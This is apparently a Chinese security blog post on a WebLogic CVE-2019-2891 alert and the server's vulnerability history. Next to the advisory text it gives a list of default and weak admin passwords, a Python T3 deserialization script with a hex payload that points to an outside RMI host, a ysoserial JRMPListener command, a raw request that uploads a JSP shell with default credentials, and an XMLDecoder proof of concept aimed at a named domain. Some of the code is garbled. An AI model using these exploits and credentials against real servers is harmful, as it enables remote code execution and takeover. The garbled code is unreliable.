weblogic预警及历史漏洞

简介

1、 Oracle WebLogic CVE-2019-2891 漏洞预警

2、WebLogic历史漏洞回顾

1.预警

Oracle 官方发布了 2019 年 10 月的严重补丁更新 CPU(Critical Patch Update),其中修复了存在于 WebLogic 中的一个高危漏洞(CVE-2019-2891)。

1.1预警描述

此漏洞为远程代码执行漏洞,基于全球使用该产品用户的数量和暴露在网上的端口情况,恶意攻击者可能会开发针对该漏洞的自动化攻击程序,实现漏洞利用成功后自动植入后门程序,并进一步释放矿工程序或是DDOS僵尸木马等恶意程序,从而影响到网站服务的正常提供。

1.2影响范围

CVE-2019-2890和CVE-2019-2891主要影响以下版本:

  • WebLogic Server 10.3.6.0
  • WebLogic Server 12.1.3.0
  • WebLogic Server 12.2.1.3

2.历史漏洞

2.1概述

Weblogic 历史相关漏洞:

控制台路径泄露:弱口令破解

SSRF 漏洞 :CVE-2014-4210

任意文件上传漏洞:CVE-2018-2894等

XML Decoder 反序列化漏洞 :CVE-2017-3506、CVE-2017-10271等

Java 反序列化漏洞 :CVE-2015-4852、CVE-2016-0638、CVE-2016-3510、CVE-2017-3248等

2.2漏洞类型

0X00 Weblogic 弱口漏洞类

弱口令

常见弱口令
system:password
weblogic:weblogic
admin:secruity
joe:password
mary:password
system:sercurity
wlcsystem:wlcsystem
weblogic:Oracle@123

0X01 Java 反序列化类

Java 序列化与 Java 反序列化Java 序列化:即把 Java 对象转换为字节序列的过程 Java 反序列化:是指把字节序列恢复为 Java 对象的过程

相关历史漏洞简介

CVE-2015-4852:Weblogic 直接反序列化,是基于 Weblogic t3 协议引起远程代码执行的反序列化漏洞

CVE-2016-0638:Weblogic 直接反序列化,基于 Weblogic t3 协议引起远程代码执行的反序列化漏洞,漏洞实为 CVE-2015-4852 绕过 拜 Oracle 一直以来的黑名单修复方式所赐

CVE-2016-3510:基于 Weblogic t3 协议引起远程代码执行的反序列化漏洞

CVE-2017-3248:基于 Weblogic t3 协议引起远程代码执行的反序列化漏洞 属于 Weblogic JRMP 反序列化

CVE-2018-2628:基于 Weblogic t3 协议引起远程代码执行的反序列化漏洞 属于 Weblogic JRMP 反序列化

CVE-2018-2893:基于 Weblogic t3 协议引起远程代码执行的反序列化漏洞 实为 CVE-2018-2628 绕过

该漏洞涉及版本

10.3.6.0 12.1.3.0 12.2.1.2 12.2.1.3

漏洞检测利用

(1)利用现有的nmap脚本进行检测目标是否使用了T3协议

nmap -n -v -p 7001,目标地址 --script=weblogic-t3-info

(2)使用 Python 脚本针对目标进行探测,是否存在漏洞 Java 反序列化漏洞

# -*- coding: utf-8 -*-
import socket
import time
import re

VUL=['**********']#remote ip changed to :127.0.0.1
PAYLOAD=['aced00057372004d636f6d2e6265612e636f72652e72657061636b616765642e737072696e676672616d65776f726b2e7472616e73616374696f6e2e6a74612e4a74615472616e73616374696f6e4d616e616765724ef3ecfbb628982f0200085a001a616c6c6f77437573746f6d49736f6c6174696f6e4c6576656c735a001c6175746f6465746563745472616e73616374696f6e4d616e616765725a00196175746f646574656374557365725472616e73616374696f6e5a00146361636865557365725472616e73616374696f6e5a001f757365725472616e73616374696f6e4f627461696e656446726f6d4a6e64694c00167472616e73616374696f6e4d616e616765724e616d657400124c6a6176612f6c616e672f537472696e673b4c00267472616e73616374696f6e53796e6368726f6e697a6174696f6e52656769737472794e616d6571007e00014c0013757365725472616e73616374696f6e4e616d6571007e00017872005e636f6d2e6265612e636f72652e72657061636b616765642e737072696e676672616d65776f726b2e7472616e73616374696f6e2e737570706f72742e4162737472616374506c6174666f726d5472616e73616374696f6e4d616e6167657235f8d3063abc94c402000749000e64656661756c7454696d656f75745a001d6661696c4561726c794f6e476c6f62616c526f6c6c6261636b4f6e6c795a0024676c6f62616c526f6c6c6261636b4f6e50617274696369706174696f6e4661696c7572655a00186e65737465645472616e73616374696f6e416c6c6f7765645a0017726f6c6c6261636b4f6e436f6d6d69744661696c75726549001a7472616e73616374696f6e53796e6368726f6e697a6174696f6e5a001b76616c69646174654578697374696e675472616e73616374696f6e7870ffffffff00010100000000000000010101007070740032726d693a2f2f61646d696e3636362e667572746865726579657365632e667572746865726579652d7365632e636f6d2f6161']#remote ip:104.251.228.50
#PAYLOAD=['aced0005737d00000001001d6a6176612e726d692e61637469766174696f6e2e416374697661746f72787200176a6176612e6c616e672e7265666c6563742e50726f7879e127da20cc1043cb0200014c0001687400254c6a6176612f6c616e672f7265666c6563742f496e766f636174696f6e48616e646c65723b78707372002d6a6176612e726d692e7365727665722e52656d6f74654f626a656374496e766f636174696f6e48616e646c657200000000000000020200007872001c6a6176612e726d692e7365727665722e52656d6f74654f626a656374d361b4910c61331e03000078707737000a556e6963617374526566000e3130342e3235312e3232382e353000001b590000000001eea90b00000000000000000000000000000078']
VER_SIG=['\\$Proxy[0-9]+']

def t3handshake(sock,server_addr):
    sock.connect(server_addr)
    sock.send('74332031322e322e310a41533a3235350a484c3a31390a4d533a31303030303030300a0a'.decode('hex'))
    time.sleep(1)
    a = sock.recv(1024)
    print(a)
    print 'handshake successful'

def buildT3RequestObject(sock,dport):
    data1 = '000005c3016501ffffffffffffffff0000006a0000ea600000001900937b484a56fa4a777666f581daa4f5b90e2aebfc607499b4027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c657400124c6a6176612f6c616e672f537472696e673b4c000a696d706c56656e646f7271007e00034c000b696d706c56657273696f6e71007e000378707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b4c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00044c000a696d706c56656e646f7271007e00044c000b696d706c56657273696f6e71007e000478707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200217765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e50656572496e666f585474f39bc908f10200064900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463685b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b6167657371'
    data2 = '007e00034c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00054c000a696d706c56656e646f7271007e00054c000b696d706c56657273696f6e71007e000578707702000078fe00fffe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c000078707750210000000000000000000d3139322e3136382e312e323237001257494e2d4147444d565155423154362e656883348cd60000000700001b59ffffffffffffffffffffffffffffffffffffffffffffffff78fe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c0000787077200114dc42bd07'
    data3 = '1a7727000d3234322e323134'
    data4 = '2e312e32353461863d1d0000000078'
    for d in [data1,data2,data3,data4]:
        sock.send(d.decode('hex'))
    time.sleep(2)
    print 'send request payload successful,recv length:%d'%(len(sock.recv(2048)))

def sendEvilObjData(sock,data):
    payload='056508000000010000001b0000005d010100737201787073720278700000000000000000757203787000000000787400087765626c6f67696375720478700000000c9c979a9a8c9a9bcfcf9b939a7400087765626c6f67696306fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200025b42acf317f8060854e002000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78707702000078fe010000'
    payload+=data
    payload+='fe010000aced0005737200257765626c6f6769632e726a766d2e496d6d757461626c6553657276696365436f6e74657874ddcba8706386f0ba0c0000787200297765626c6f6769632e726d692e70726f76696465722e426173696353657276696365436f6e74657874e4632236c5d4a71e0c0000787077020600737200267765626c6f6769632e726d692e696e7465726e616c2e4d6574686f6444657363726970746f7212485a828af7f67b0c000078707734002e61757468656e746963617465284c7765626c6f6769632e73656375726974792e61636c2e55736572496e666f3b290000001b7878fe00ff'
    payload = '%s%s'%('{:08x}'.format(len(payload)/2 + 4),payload)
    sock.send(payload.decode('hex'))
    time.sleep(2)
    sock.send(payload.decode('hex'))
    res = ''
    try:
        while True:
            res += sock.recv(4096)
            time.sleep(0.1)
    except Exception as e:
        pass
    return res

def checkVul(res,server_addr,index):
    p=re.findall(VER_SIG[index], res, re.S)
    if len(p)>0:
        print '%s:%d is vul %s'%(server_addr[0],server_addr[1],VUL[index])
    else:
        print '%s:%d is not vul %s' % (server_addr[0],server_addr[1],VUL[index])

def run(dip,dport,index):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    ##打了补丁之后,会阻塞,所以设置超时时间,默认15s,根据情况自己调整
    sock.settimeout(65)
    server_addr = (dip, dport)
    t3handshake(sock,server_addr)
    buildT3RequestObject(sock,dport)


if __name__=="__main__":
    dip = 'your ip'
    dport = 8008
    run(dip,dport,0)#    for i in range(0,len(VUL)):#        run(dip,dport,i)

之后利用反序列化攻击的工具ysoserial进行攻击

java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener [listen port] CommonsCollections1 [command]

0X02 任意文件上传类(CVE-2019-2628)为例

POST /bea_wls_deployment_internal/DeploymentService HTTP/1.1
User-Agent: python-requests/2.18.4
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
username: weblogic
wl_request_type: app_upload
wl_upload_application_name: /../tmp/_WL_internal/bea_wls_internal/9j4dqk/war
password: Oracle@123
content-type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
archive: true
server_version: 10.3.6.0
wl_upload_delta: true
Content-Length: 197
Host: yourip:8008

------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="shell.jsp"; filename="test.jsp"
Content-Type: false

 123 

------WebKitFormBoundary7MA4YWxkTrZu0gW--

0X03 XML Decoder 反序列化类与SSRF

SSRF(Server-Side Request Forgery),服务端请求伪造,是一种由攻击者构造形成由服务端发起请求的一个漏洞,一般情况下,SSRF 攻击的目标是从外部网络无法访问的内部系统。

涉及版本

10.0.2、10.3.6

实现步骤

(1)简单探测

#手工进行简单检测,在漏洞地址处,点击 Search 按钮,返回 “An error has occurred”
#如果不显示,可以使用脚本猜测 “ip_detect.py”
rt requests

headers = {
    'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0',
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
    'Upgrade-Insecure-Requests': '1',
    'Content-Type': 'text/xml'
    }
def Webogic_XMLDecoder_poc(url):
    #url="http://192.168.XX.XX:7001"
    posturl=url+'/wls-wsat/CoordinatorPortType'
    data = '''
    
        
            
                
                    
                        servers/AdminServer/tmp/_WL_internal/wls-wsat/54p17w/war/test.txt
                        xmldecoder_vul_test
                    
                
            
        
        
    
    '''

    print (url)
    try:
        r=requests.post(posturl,data=data,headers=headers,timeout=5)
        geturl=url+"/wls-wsat/test.txt"
        print (geturl)
        check_result = requests.get(geturl,headers=headers,timeout=5)
        if 'xmldecoder_vul_test' in check_result.text:
            print ("[+]存在WebLogic WLS远程执行漏洞(CVE-2017-10271)")
    except:
        print ("[-]不存在WebLogic WLS远程执行漏洞(CVE-2017-10271)")

if __name__ == '__main__':
    url = "http://www.7089bat.top:7001"
    Webogic_XMLDecoder_poc(url)

2.3相关漏洞

漏洞名 CVE 严重性
BEA WebLogic Admin Console Cross Site Scripting Vulnerability CVE-2005-1747 high
BEA WebLogic Server And WebLogic Express Remote Denial of Service Vulnerability CVE-2004-2424 high
BEA WebLogic Server Apache Connector HTTP Version String Buffer Overflow Vulnerability CVE-2008-3257 high
BEA WebLogic Server Apache Connector HTTP Version String Buffer Overflow Vulnerability CVE-2008-3257 high
Oracle BEA WebLogic IIS connector JSESSIONID Stack Buffer Overflow Vulnerability CVE-2008-5457 high
Oracle BEA WebLogic Server Apache Connector Buffer Overflow Vulnerability CVE-2008-5457 medium
Oracle BEA Weblogic Server console-help.portal Cross-Site Scripting Vulnerability CVE-2009-1975 high
Oracle BEA WebLogic Server Plug-ins Certificate Buffer Overflow Vulnerability CVE-2009-1016 high
Oracle WebLogic Node Manager Command Execution Vulnerability high
Oracle WebLogic Remote Code Execution Evasion Found CVE-2019-2729 high
Oracle WebLogic Remote Code Execution Vulnerability CVE-2018-2628,CVE-2018-2893,CVE-2018-3197,CVE-2018-3201,CVE-2018-3245 critical
Oracle WebLogic Remote Code Execution Vulnerability CVE-2018-3191 critical
Oracle WebLogic Remote Diagnosis Assistant rda_tfa_hrs Command Injection Vulnerability CVE-2018-2616 medium
Oracle WebLogic Remote Diagnosis Assistant rda_tfa_ref_date Command Injection Vulnerability CVE-2018-2615 medium
Oracle Weblogic Remote Session Fixation Vulnerability CVE-2010-4437 high
Oracle WebLogic Server AbstractPlatformTransactionManager Insecure Deserialization Vulnerability CVE-2018-3191 critical
Oracle WebLogic Server Apache-Commons-FileUpload Library Insecure Deserialization Vulnerability CVE-2013-2186 critical
Oracle WebLogic Server File Upload Vulnerability CVE-2019-2618 high
Oracle WebLogic Server FileDistributionServlet Information Disclosure Vulnerability CVE-2019-2615 medium
Oracle Weblogic Server HTTP Cookie Buffer Overflow CVE-2008-5457 high
Oracle WebLogic Server Java Deserialization Vulnerability CVE-2016-3510,CVE-2016-0638 critical
Oracle WebLogic Server Java Deserialization Vulnerability CVE-2016-3510,CVE-2016-0638 critical
Oracle WebLogic Server Node Manager Command Execution Vulnerability CVE-2010-0073 high
Oracle WebLogic Server Remote Code Execution Vulnerability CVE-2018-3252 critical
Oracle WebLogic Server UnicastRef Insecure Deserialization Vulnerability CVE-2017-3248 high
Oracle WebLogic Server Web Service Config Arbitrary File Upload Vulnerability CVE-2018-2894 high
Oracle WebLogic Server XML External Entity Injection Vulnerability CVE-2019-2647 high
Oracle WebLogic Server XXE Vulnerability CVE-2018-3246 critical
Oracle WebLogic WLS Security Component Remote Code Execution Vulnerability CVE-2017-10271,CVE-2017-3506 high
Oracle WebLogic wls-wsat Remote Code Execution Vulnerability CVE-2019-2729 critical
Oracle WebLogic wls9-async Remote Code Execution Vulnerability CVE-2019-2725,CVE-2019-2729 critical
Oracle Weblogic WsrmServerPayloadContext External Entity Injection Vulnerability CVE-2019-2648,CVE-2019-2650,CVE-2019-2649 high

weblogic预警及历史漏洞_第1张图片

参考链接

https://www.t00ls.net/viewthread.php?tid=51576&highlight=weblogic

你可能感兴趣的:(WEB安全)